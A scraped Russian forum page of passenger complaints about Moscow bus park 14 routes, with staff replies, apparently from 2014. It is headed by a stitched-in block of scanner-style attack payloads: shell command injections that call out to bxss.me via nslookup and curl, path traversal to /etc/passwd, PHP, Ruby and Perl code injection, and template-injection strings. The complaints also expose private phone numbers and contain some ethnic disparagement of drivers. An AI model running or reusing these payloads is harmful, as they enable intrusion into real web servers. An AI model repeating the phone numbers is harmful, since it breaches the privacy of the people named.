Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Татьяна
27.11.2014
Простояли на остановке метро Проспект Вернадского 1 час, в 20.55 пришел автобус-маленький, промерзший, темный. Печка не работала, окна заморожены, остановки не объявлялись, бегущая строка не работала. Пока все втиснулись - пришел следующий 830 и вскоре легко (пустой!) обогнал тот, на котором пришлось ехать несчастным пассажирам. До Переделкино ехали час! по свободной дороге. Шофер совершенно не способен вести автобус - он еле-еле полз, подолгу стоял и держал раскрытые двери на остановках, окончательно вымораживая салон. Нет никакого объяснения зачем надо было ехать так медленно. Были люди, которым уже выпадало счастье ехать с этим горе-водителем, очевидно, это его стиль вождения - кто допустил его к работе?! Нас обгоняли все автобусы, включая и еще следующий (третий!) - 830.
Иван Осипов, бригадир маршрута
29.11.2014
Уважаемая Татьяна, мои извинение за нашего водителя. Дело в том, что я и раньше говорил и сейчас скажу одно, что мы не умеем пользоваться общественным транспортом. Вся беда в том, что раз уж подъехал автобус, все пассажиры сломя голову рвуться сесть в этот автобус. И даже автобус переполненный, все равно его не отпускают, висят на подножке. Что в результате имеем: из-за опоздание первого автобуса, т. к он долго стоял на остановке, его догоняет задний автобус, и в результате будет ехать пустым, что и случилось с вашим случаем. Если же пассажиры отпустили бы первый автобус, когда он был не перегружен и ждали бы следующий, автобусы загрузились бы поровну и ехали по быстрее. Раз уж перегуз сами знаете, ехать быстрее он не сможет. Так, что следующий раз подумайте как садиться в автобус. Все в ваших руках. Будьте здоровы.
Иван Осипов - бригадир маршрута
02.12.2014
В ответ на сообщение № 2 от Татьяна: Татьяна, мои извинения конечно, но Вы сами ведь написали, что следом приехал пустой и еще второй автобус. А теперь написали, что не уверены, что следом приедут другие автобусы. На маршруте ведь работает не единственный автобус. Дело в том, что если в салоне много пассажиров, вести автобус труднее, его заносить от тяжести, тем более пишете, что очень старый. А вдруг откажут тормоза? Так что думаю, не надо наваливаться на один автобус, набраться терпения и ждать следующий. При необходимости надо звонить в парк и уточнить, когда будет автобус. Всех благ.
Ирина
27.11.2014
Каждый день пользуюсь маршрутом автобуса 830. Ходят, как вздумается. На конечной ул. Федосьино собираются водители 830 автобусов по 4-5 человек и играют в карты, пропускают по 2-3 рейса. И никто за ними не наблюдает и не контролирует! А что творится вечером на остановке м, проспект Вернадского после 19 часов! Вы видели когда-нибудь такие очереди уставших после работы людей, вынужденных стоять по 40-50 минут? Приезжайте, послушайте, что они говорят. Безобразие в вашем парке творится! Пойдем до Собянина! Дальше терпеть нет смысла, на работу опаздывать приходиться постоянно, и не из-за пробок, а от халатного отношения вашей администрации к своей работе. Позор!
А 793-м маршрутом разве нельзя до Солнцева доехать от проспекта Вернадского?
Ольга Асадулаева
23.11.2014
Я езжу этим маршрутом каждое утро в 6.30, но автобус может приехать 6.25 или не приехать и в 6.40 как это было 21 ноября 2014 г. Мало того, что едешь в переполненном автобусе и тот вовремя не приезжает. Когда я на работе рассказываю эти злоключения, коллеги очень удивляются такому транспортному сообщению. В других районах уже не помнят подобного. Почему в Ново-Переделкино мало, что меняется к лучшему с общественным транспортом?
Уважаемая г-жа Асадулаева! Опишите суть проблемы, о каком маршруте идет речь?
Пахомова Елена
18.11.2014
В моей жалобе я не правильно указала число. Это безобразие было 18 ноября. Жду ответа. Спасибо.
А что за безобразие было-то? Опишите, пожалуйста, суть дела? Кто-то совершил противозаконные действие в отношении вас?
Пахомова Елена
18.11.2014
19 ноября ждала автобус 788 или 793 с 19:53 до 20:45. В 20:45 пришли сразу оба с разницей в одну минуту. Я спросила у водителя, почему такой интервал, а он начал орать, что он не диспетчер. Машина 14448, номер маршрута 793, мой тел.: 84997923914. Примите меры.
Игорь Савченко-механик
19.11.2014
Уважаемая Пахомова Елена. Автобусы стояли в пробке и естественно опоздали и, как правила, приехали вместе. А с водителем разговаривать строго воспрещено, он вам не подчиняется и не подотчетен. Если возник какой либо вопрос, пожалуйста обратитесь в парк или по телефону доверия в ГУП "Мосгортранс". Водителя нельзя отвлекать, ему также нельзя нервничать, у него очень большая ответственность-возить людей. А если уж так захотелось поговорить с водителем, то пожалуйста, после работы можете подойти к парку и подождать, когда он закончить смену, помоет и заправит свой автобус и выйдет к вам. Всего доброго.
Пахомова Елена Валентиновна
19.11.2014
Добрый вечер! В тот день пробок на дороге не было. Обратилась я к водителю, когда шла посадка в автобус. И с каких это пор на жалобы пассажиров отвечает механик. Я с вашим ответом буду обращаться в вышестоящую организацию.
Игорь Савченко-механик
21.11.2014
В ответ на сообщение № 2 от Пахомова Елена Валентиновна: Механик тоже должностное лицо. А с чем мой ответ не устраивает вас? И кто должен вам ответит? Пожалуйста, напишите свое место работы и мы направим вам копию вашего обращение, пусть ваше руководители тоже знают, чем вы занимаетесь, кроме основной работы.
Махмуд-перегонщик
23.11.2014
Никому в голову не придёт бежать к машинисту или к пилоту с вопросами. Но тут особый случай, водитель-негодяй.
Игорь Савченко, механик
23.11.2014
В ответ на сообщение № 4 от Махмуд-перегонщик: А, что это за особый случай? Водитель виноват, что его кабина доступно каждому, кто хочет его допросить? Надо бы сделать так, что к водителю автобуса, также, как и машинисту или пилоту не было доступа. Может быть после этого отстанут от водителя?
Махмуд-перегонщик
13.12.2014
Не отстанут. В лобовое налипнут. Всегда нужен крайний.
Галина
18.11.2014
Маршрут автобуса номер 734 постоянно не соблюдает расписание движения. Не везде оно вывешено. Меняется молча без предупреждения. Надоело ожидать по 40 минут. В ответ слышно про пробки. От станции до следующей остановки всего 3 минуты езды. Вечная ссылка на пробки. Когда все это закончится. В автопарках проводится работа с персоналом. Почему такое пренебрежение к людям?
Лена
18.11.2014
14.11.2014 водитель автобуса рейса 420 (отправлением Птицефабрика в 6-29) при выезде от остановки д. Марьино уехал в строящийся ж/к Бремен! Что в противоположной стороне от заданного маршрута! Он не сориентировался в темноте? Сегодня водитель 420 рейса гос. номер ВР819 (отправлением Птицефабрика в 6-29)выкинул ещё более смешную, если бы не было так грустно-до слёз, шутку: В Московском на петле производятся ремонтные работы, и автобус поворачивает на Центральной площади в Московском, но наш водитель решил сократить путь и повернул в зоне ремонта, мало того, что колесо провалилось и он забуксовал, так ещё выйдя из автобуса, и следуя к остановке, где останавливается 890 (всем же надо к Юго-Западной попасть) мы увидели, что зона выезда из этого ремонтируемого пятачка перекрыта плитами! Он не выспался и на секундочку уснул, поэтому не заметил плиты? Или может на него напала амнезия и он забыл, что этот участок объезжают через весь Московский? Или может он торопился больше стоящих людей в набитом автобусе и сэкономить время решил? Объясните, пожалуйста. Люди выходят в 6-20 на автобус чтобы учитывая пробки добраться к м. Ю-З. к конкретному времени, почему они должны из-за некомпетентности персонала автобусного парка пребывать не вовремя, нам пробок вполне на нашем маршруте хватает - обеспечьте нас водителями, которые могут людей доставить по заданному, а не витиеватому маршруту, т. к. пересесть в зоне Московского нереально все автобусы битком, а тут целый автобус надо втолкнуть в уже укомплектованные попутные.
Подготовка водителей - основная проблема московских парков. Мы вынуждены принимать водителей иностранцев, т. к. наши свои не хотят работать водителями. Скажу честно, работа водителя автобуса очень тяжелая и не каждый согласится на это. Чтобы не ошибаться, водитель в первую очередь должен хорошо знать местность. И сами понимаете, как иностранец из ближнего зарубежья может ориентироваться на незнакомых местах. Конечно, стажировку он проходил, но как сами написали в темноте кажется парень ошибся. Огромная просьба, в таких случаях помогите водителям. Примите наши извинения.
Причём тут водитель иностранец, парк обслуживает более 45-ка маршрутов, взяли тебя и скажут едешь по такому маршруту, там машина сломался или водитель в запое (россиянин) вот тебе схема и вперёд.
Иван Калиничев, бригадир маршрута
22.11.2014
В ответ на сообщение № 2 от Интернет TJ: Согласно должностной инструкции, водители обязаны знать все маршруты парка и не только. Бывает ЧП на линии метро, надо будет перевозить пассажиров с одного пункта на другое. Но опять же, водитель должен иметь какое-то соображение, какая улица куда ведет. А на стажировку нет времени. Надо будет по выходным в качестве пассажира, изучать и другие маршруты (без оплаты, естественно). Если хотите хорошо работать водителем автобуса Мосгортранса, будьте любезны, изучайте все маршруты.
В ответ на сообщение #3. Конечно ты бригадир ездиешь на одном маршруте и на одном выходе, и тебе остальные маршруты по барабану. Все таки иностранец без отказа поедет куда его отправят, ну первым рейсом трудно, но он покрывает выход.
Иван Калиничев- бригадир маршрута.
27.11.2014
В ответ на сообщение № 4 от Интернет TJ: ты ошибаешься, я работаю на разных маршрутах и на разных выходах. Не только иностранец, а любой водитель парка обязан поехать на тот маршрут, куда посылает диспетчер. И это как часто бывает, когда находишься в резерве. Еще раз повтрюсь, если хочешь хорошо работать, изучай маршруты.
Я и без тебя знаю все маршруты парка, разговор окончен.
Иван Калиничев, бригадир маршрута.
28.11.2014
В ответ на сообщение № 6 от Интернет TJ: А что тогда писал всякую ерунду, типа дают схему и вперед, иностранец едет и покрывает, ты бригадир и у тебя один выход?
Владимр Иванович
15.11.2014
Водитель автобуса №5 е 440 время 12:45 не останавливается на остановках, даже после сигнала. Ведет себя безобразно. О принятых мерах прошу информировать.
Информирую: водитель получил выговор.
Елена
13.11.2014
Автобус 890 маршрут метро Юго-Западная-Московский не придерживается расписания. Пропуская коммерческий маршрут 590 утром по два автобуса. Зачем нам такой городской транспорт, который не дождешься ни утром, ни вечером после 22.30? Собирает очереди по 20-30 человек и с утра, и вечером.
Алексей
12.11.2014
Для кого расписание? 12 ноября вышел на остановку ул. Ак. Анохина 26, чтобы уехать на 420м маршруте в Марьино. Вместо написанных в расписании на остановке рейсов в 17:55, 18:15, 18:30, 18:45 (4 автобуса) пришел задрипанный в 18:47. Вопрос - зачем тогда расписание вообще? Так бы и писали - тусуйтесь час на холоде и может, мы приедем. Так хотелось набить лицо водителю и пойти пешком. Да он может и ни при чем. Если бы был контроль со стороны руководства. Зачем тогда глонасс с камерами в салоне? Короче, расти вам еще и расти. А пока каменный век. И еще водители не русские. Это "повышает" рейтинг компании сразу.
13 ноября было тоже самое один в один. Пришёл на остановку Анохина, 26, в 18-02. И уехал примерно в 18-45.
Уважаемый Алексей. Водители на 40% не русские, т. к. русские не хотят работать водителями. Наверное, боятся того, что кто-нибудь им набьет лицо. А почему бы вам не устроится водителем автобуса и в личном примере показать, как надо работать. А насчет опоздание автобусов сами знаете - пробки, каменный век.
Не надо всё сваливать на пробки. При пробках ВСЕ автобусы опаздывают на примерно одинаковое время. А тут автобус в 17:40 прошёл вовремя, а следующие 4 автобуса пришли одинаково примерно в 18:45 - 19:00. Такое ощущение, что водители обедали или играли в карты. Не хочу ни на кого валить вину, но на пробки в таком случае мало похоже. К тому же в тот день за час стояния на Анохина, 26 с 18 до 19 прошло штук 5 автобусов 863. Почему-то на них пробки не действовали.
В ответ на сообщение № 3 от Петя: Я вам скажу честно, иногда вроде и пробок нет, но в каждой остановке люди стоять толпами, большинство из них пожилого возраста, и они очень медленно проходят в салон автобуса. Человек 15-20. И это примерно на каждой остановке. И, как в таких случаях не опаздывать? Как на зло, подходят к валидатору и начинают искать проездные, а потом все таки находят их и начинают щелкать по валидатору. А валидатор их не пропускает и наконец-то они вынимают проездной с обложки, пробивают и проходят в салон. Но это все упирается на время. А по вашему где может пропадать водитель с целым автобусом под наблюдением диспетчера Глонасс.
Алексей, расписание засунь себе куда надо, когда стоишь в пробке часами, почему не говоришь водителю, чтобы крылья поставил и облетел.
Федор
25.10.2014
Сейчас холодно, промежутки между приездам автобусов очень большие! Пару раз замечал, что автобусы стоит на юго-западной на стороне ТРЦ кораблик! Ждет другого автобуса! Тем самым 590 автобус приезжает одним за одним, и люди от безысходности едут на нем, хотя у многих соц. карты ( ( (. Бедные бабульки стоят, мерзнут! Когда 890 дожидается другого автобуса 890, они подъезжают к остановке, люди садятся и быстро уезжают, даже люди которые подходят к автобусу не могут взять закрывают дверь и все! Тем самым бедные не успевшие на СЕКУНДУ люди едут на 590! Как так-то, ( ( ( ( я понимаю бизнес, ну а как же человечность, ( ( ( надо немного относится к пассажирам по людски. Как не спросишь у водителя почему долго, ответ один "ПРОБКИ", а сам стоит на другой стороне около 20-30 минут, а для 590 пробок не существует.
Самсон, водитель 890 маршрута
27.10.2014
Уважаемый Федор. Пока вы сами не поработаете водителем автобуса ГУП Мосгортранс, вам очень трудно будет отвечать на ваши вопросы и про человечность. Поработайте хотя бы неделю и вы по другому будете говорит о водителях, пробках и т. д. Легко сидеть в тепле, уюте и осуждать водителей.
Ты, Самсон, сидишь на конечной и играешь в домино, а люди ждут автобуса. Пока ты не одумаешься и не поедешь по маршруту.
Владимир
23.10.2014
Утром и вечером график движения автобуса № 779 - это появление одного автобуса в течение часа. График движения по данному маршруту, который вывешен на остановке, никогда не соблюдается. Интересно зачем он тогда составлялся? Судя по прежним жалобам на автобус № 779 руководству 14 автобусного парка все по "барабану". Никаких мер по данной проблеме годами не принимается.
Dina
20.10.2014
Я выражаю мнение многих жителей 3 мкр-на Московского о неправомерном увеличении интервала движения автобуса № 890 до 25 минут, в результате чего, на остановках выстраивается очередь до 50 человек. Это просто недопустимо! Во-первых: такое скопление людей на автобусных остановках не отвечает антитеррористической политике правительства г. Москвы, во-вторых: заставлять пожилых людей и людей с детьми мерзнуть на улице (впереди зима) такое длительное время - просто преступно. Поэтому, руководству 14 Автобусного автопарка необходимо пересмотреть график движения автобуса №890 в сторону уменьшения интервала до 10 минут. Сообщаю, что протестное письмо жителей 3 мрн-на г. Московского направлено в адрес Мэра г. Москвы и в Администрацию Президента РФ.
Татьяна
18.10.2014
Автобус 272 маршрута не останавливается на остановке "Институт полиомиелита" в течении дня. Остановка добавлена с 1 сентября 2014 года, расписание опубликовано на сайте Мосгортранса и на остановке "Институт полиомиелита". Прошу руководство парка довести до сведения водителей автобуса 272 маршрута о наличии остановки "Институт полиомиелита" и принять меры к водителям автобусов, не соблюдающих расписание.
Не нравится - пользуйтесь такси.
Елена
16.10.2014
Почему нельзя уменьшить интервалы движения автобуса 767 на таком востребованном направлении хотя бы в час пик, автобусы, которые ждешь по 30 мин. и больше, приходят битком набитые.
Яна
01.10.2014
Ми хотим пожаловаться на маршрут №902, автобусы плохо ходят с утра с 6.30 до 8.00 часов, с интервалом 10-15 минут. Люди опаздывают на работу. От остановка ул. Шолохова до ул. Винницкая автобус едет 1 час 20 минут, при том, что в субботу тот же маршрут автобус проезжает 25 минут. Примите меры, так как люди в основном опаздывают на работу. Есть такие водители, что пропускают легковые машины по своей полосе, и это затрудняет быстрому проезду автобуса.
Уважаемая Яна, я предлагаю вам взять веник и разгонять им мешающие проезду машины.
Может ещё на автобусах поставить мигалку и сирену!
Мигалку и сирену - хорошая идея. И вообще 3000 мало за езду по выделенке. Недавно я тоже прождал 902 полчаса, хотя пробок нигде не видел. Но вероятно, было пробки чуть ранее или они были за Попутной улицей (местом моей посадки) в сторону области.
Ирина Степановна
17.09.2014
Хочу выразить благодарность Биктимирову Фатиху. Очень пунктуальный водитель, никогда не торопится, ждет пассажиров в особенности пожилых людей. Дай бог ему терпения и здоровья. Молодец.
Молодец молодцом, но жаль, что за машиной не ухаживает, и в запой может уйти, да и стиль вождения не очень. А так молодец!
В ответ на сообщение № 1 от Мишка: Фатих пьет умеренно, без запоя, не надо писать чушь.
"Молодец молодцом, но жаль, что за машиной не ухаживает и в запой может уйти, да и стиль вождения не очень. А так молодец!" Что за бред??? Ты сам то водителем поработай, посмотрю на твои нервы! И как это влияет на манеры вождения???
Иван
27.08.2014
Второй день приезжаю к 7:20 на остановку маршрута 863 на юго-западной, стоит большая очередь и автобуса нет еще как минимум час. За это время 3-4 автобуса проезжает в сторону парка. Приезжает долгожданный автобус только маленький, будто специально на зло. Пассажирам приходится стоять впритык друг к другу. Удивляюсь как они ноги себе не ломают. И проблема с этим маршрутом постоянно, потому многие и ездят на маршрутках. Вывод: Увеличивайте число автобусов когда люди заканчивают работать, это часов с 5 (на глонас вы плюёте с высокой колокольни, я это уже понял), и автобусы побольше можно пускать. К сведению 420, 304, 707 автобусы ездят во много раз чаще. Примерно раза в 3 если не больше. Хватит нас обливать грязью!
Надо не в отзывах писать, а жаловаться в МЭРИЮ и на официальный сайт Мосгортранса! Тогда что-то изменится.
Михаил Федорович - водитель
09.09.2014
Иван, успокойтесь, никто вас грязью не обливает. И даже не удивляйтесь тому, почему не ломаются ноги. На все это есть причины. Дело в том, что надо уметь пользоваться общественным транспортом. Не надо перегружать автобус, а это как сами видите, отнимает время. Одним автобусом всех пассажиров никак не возможно перевезти. Так, как на каждой остановке вы по долгу задерживаете автобус, вот он и опаздывает. Надо как в Европе: сели какое то часть пассажиров, автобус трогается. А вы как поступаете? Автобус уже переполнен, но все равно пытаетесь сесть. Автобусы по полчаса стоять на остановках. Совесть-то надо иметь. Всего доброго.
Да не известно сколько ждать следующий автобус, полчаса или полтора, а домой всем хочется, потому все и пытаются залезть в один. Повесили бы и на этот маршрут табло, где написано через какое время примерно будет автобус.
Михаил Вольфович - пенсионер
09.09.2014
В ответ на сообщение № 3 от Иван: Согласен с Вами, в парках полный бардак. В час пик можно было предоставить хотя бы несколько длинных автобусов (имеется в виду сочлененных), что бы разгрузить маршрут. Нетрудно ведь додуматься до такого простого решение вопроса. Наверное, наплевать на пассажиров.
В ответ на сообщение № 4 от Михаил Вольфович - пенсионер: да согласен, на счет длинных автобусов, комфортно было бы всем, и тем, кто с колясками, пенсионерам и велолюбителям. Улицы довольно широкие для проезда таких автобусов, почему не пускают например, как 707, ведь Град Московский проезжает и старый Московский, в который тоже огромное количество ездит на этом автобусе.
В ответ на сообщение № 5 от Никита: Ну вот я и том. В европе действительно так и есть: автобус еще не переполнен, посадка завершается. И мы того же мнения. Но, а как быть если следующий автобус прибудет через час? Как-то не по европейски? Лучше мы будем штурмовать первый попавший автобус и всем миром поедем. Счастливого пути.
Файзулло-пассажир
16.09.2014
В ответ на сообщение № 7 от Иван: совершенно правильно, да и плюс к этому всегда лезут бабки с базарными тачками и очень долго проходят валидатор. Им лучше было бы ездить за покупками в дневное время, когда все на работе.
Количество и вместимость подвижного состава определяется не в парке, а в главке, вот туда и жалуйтесь, в день выходит определенное количество на каждый маршрут, а не так, что с утра и 5, а вечером 10.
В ответ на сообщение № 9 от Park: Странно! Значит в часы пик, когда народу много, люди едут на работу, учебу и т. д количества автобусов одинаковы? В час пик можно удвоит количества автобусов а потом, когда все это стихнет и народу мало, вроде и можно уменьшить.
Наталья
31.07.2014
Здравствуйте! Хотела бы задать вопрос. Воровство, что так практикуется в парке среди водителей, что они остаются безнаказанно? Постоянно что-то пропадает из машины мужа.
Магнитолу не отдам, а презервативы верну. А, что ещё пропадает у вашего мужа? Этот парк "среднеазиатский", а значит воровство было, есть и будет есть.
А надо с собой всё брать. Если машина закреплена, то это далеко не значит, что эта машина собственность водителя и вполне нормально, что попадают вещи. Повесьте на форточку замок и закрывайте кабину.
У водилы в парке нет ничего. Только долги.
Николай Фомичев - водитель парка.
09.09.2014
В ответ на сообщение № 1 от Вор: С чего это вы взяли, если парк среднеазиатский, то все может пропасть? Я недавно перевелся с 9-парка, а там преимущественно все славяне, очень много украинцев и молдаван. В общем братья славяне. И как вы думаете, там нет воровства? Там в двое больше воруют, чем в 14 парке! В 14-парке в основном водители таджики, они очень дисциплинированные и верующие люди, я не могу сказать, что они чего то воруют. Все воры - это наши люди, наркоманы да алкаши.
Ирина
31.07.2014
Автобус маршрута #420 приехал на конечную остановку "марьинская птицефабрика " в 12.19 и сразу же уехал, хотя по расписанию должен был уехать в 12.29! Это наглость и неуважение к людям, потому, что следующий автобус только в 12.56!
Ну, а может он уехал не на 10 минут раньше, а на 20 позже? Откуда у вас такая уверенность в нарушении водителем расписания?
Водитель при работе на линии подчиняется непосредственно диспетчеру, так, что как диспетчер задаст время отправления, так водитель и поедет. Это Вам не частная контора, где каждый ездит, как в голову взбредёт.
Автобус маршрута 420, это просто безобразие, неуважение к жителям дальних районов. Автобусы приходят небольшие, постоянная давка, приходиться ехать до метро минимум 1,5-2 часа. Очень просим Вас изменить маршрут автобуса, без заезда по кругу в Московском, тратится очень много времени. Очень много времени уходит на дорогу, район п. Марьино растет, сдаются новые жилые комплексы, на конечной остановке автобус уже битком. Примите меры.
В ответ на сообщение № 3 от Елена: Согласен с вами. Вам следует обратиться в ГУП Мосгортранс с просьбой усилить данный участок автобусами 18 а/п, т. к. 14 ап не справляется с перевозками. Однако автобусы 18 а/п вас будут возить до ст. м. Теплый Стан, т. к. это зона их обслуживание.
Галина
31.07.2014
30.07.14 г. в 13:05 в автобусе маршрута № 720 (машина с бортовым № 14169) состоялось нашествие сотрудников контроля на транспорте. Я предъявила карту проезда и продолжила проезд. Однако на следующей остановке ко мне вновь подошла сотрудница контроля с № 181 на жетоне. Я поинтересовалась, почему одна и та же группа дважды проводит проверку тех же самых пассажиров. Мне было предложено помолчать и предъявить право на проезд. Я попросила предъявить маршрутный лист, свидетельствующий о том, что данный сотрудник имеет право проверять в данное время данный маршрут. Мне было заявлено, что ничего подобного она делать не собирается. Тогда я попросила предъявить удостоверение. Им помахали у меня под носом. Я попросила раскрыть и дать мне возможность записать данные сотрудника. В руки дать его я не просила, т. к. согласно законодательству сотрудник не должен передавать служебное удостоверение никому, однако ОБЯЗАН дать записать свои данные, чтобы гражданин мог проверить полномочия сотрудника для проведения тех или иных мероприятий. Мне было в грубой форме отказано в этом и начались угрозы вызова полиции. Я согласилась на вызов, однако на следующей остановке группа, состоящая из троих сотрудниц, ретировалась из машины. На мой вопрос как же решим с вызовом полиции мне было предложено покинуть машину и прервать оплаченный мною проезд. Я не сочла необходимым сделать это. На предпоследней остановке примерно в 13:12 в машину вновь зашли две сотрудницы контроля и вновь начали проверять проездные документы, однако ко мне они не подошли. Машина на конечный пункт к м."Юго-Западная" подошла в 13:16. Прошу внимательно рассмотреть данную ситуацию и сообщить мне о принятых мерах по электронной почте. Контактные тел.: 8968-019-28-81 (в период с 04.08.14 по 12.08.14 будет недоступен) и 8962-961-98-72; 8929-673-31-48.
Мария
25.07.2014
18 июля автобус маршрута 261 № 14274 водитель вёл автобус так, что пассажиров мотало по салону, резкое торможение, дёрганье. И это не временно по какой-то причине движения. Это манера вождения. Всё расстояние - 7 остановок, столько я находилась в этом автобусе, это творилось. Возмущался весь салон. И вообще руководство парка объясняет водителям, что с пассажирами надо вести себя корректно и в вождении, и в общении? Пора видно обращаться и к Собянину, и выше. Уже устали от такого хамского отношения. Просьба к руководству парка - ну, пожалуйста, прислушивайтесь к жалобам пассажиров.
В парке остро не хватает водителей, а, чтобы еще и научиться хорошо ездить, надо время. Парк, конечно, старается набирать опытных водителей. Но откуда их взять? Если хотите помочь парку и соответственно, городу, есть предложение устроиться водителем общественного транспорта. Поработав водителем вы можете на практике показать, как надо работать. Всего доброго.
В ответ на сообщение № 2 от Мария: если б ваш автопарк был бы вновь открыт, но он столько существует лет и то, что в нем не профессионалов недоработка отдела кадров. Вам надо меньше препираться с пассажирами, а заниматься своими кадрами. Еще вопрос. Почему нет автобуса по 40-60 минут, потом приходят сразу несколько? На это жалуются все пассажиры все время, но вам, видно, не до пассажиров. Не можете работу наладить в парке - уходите, не занимайте место. Придут и наладят как надо.
Михаил Серебров, бригадир маршрута
27.09.2014
В ответ на сообщение № 2 от Мария: а кто вам нахамил то? Вам написали вежливо причины нехватки водителей и предложили устроиться водителем общественного транспорта и как патриот на своем опыте учить других водителей. А вы что ответили? Вам, наверное, слабо работать водителем? А критиковать то можно? Попробуйте днек хотя бы поработать. Ну отправите господину Собянину С. С наш ответ, и что? Мэр очень хорошо знает проблему нехватки водителей. Критиковать может каждый, а решать проблему некому. Конечно, лучше сидеть в кабинете, ничем себя не утруждая, в тепле и уюте. Только вот добираться на работу и домой проблема с транспортом. Если бы жили рядом с работой, вообще, наверное, и не жаловались бы? А как быть тысячам рабочим, которые приезжают с районов сначала на электричках, метро и затем на автобусах? Спасибо этим людьям за их терпение. Если решится вопрос с 261 маршрутом, то вы от нас отстанете? А как быть с остальными маршрутами? Придется с других маршрутов восполнить нехватки водителей 261 маршрута, а иначе никак. Вопрос о замене руководства ставился не разу, но сдвигов никаких, как вы написали "Придут и наладят" не получается. Начальство приходит и уходит, а водителей все равно не хватает. Насчет того, что почему нет автобусов 40-60 минут, а затем приезжают по нескольку, ответ прост, они попали в пробку по причине ДТП, простояли долго, отправились вместе одновременно. Это не трудно догадаться и не надо быть бараном. Извиняюсь, конечно.
Галина
17.07.2014
17.07.2014 г., 8 ч. 35 мин., ул. Шолохова. Водитель автобуса 14365 маршрута № 881 грубо отреагировал на замечание о провозе пассажиров, а не дров, сказав о том, что пусть сделают дорогу, и предложил ездить на такси, а не общественным транспортом. В каждом автобусе имеются видеокамеры, их хотя бы иногда кто-нибудь просматривает? Страшно за безопасность пассажиров и за свою в том числе. Хотелось бы, чтобы приезжие граждане, работающие у нас в стране, также разговаривали (а не орали) на Вы, а не на ТЫ. Существует профессиональная этика. Хамство надоело.
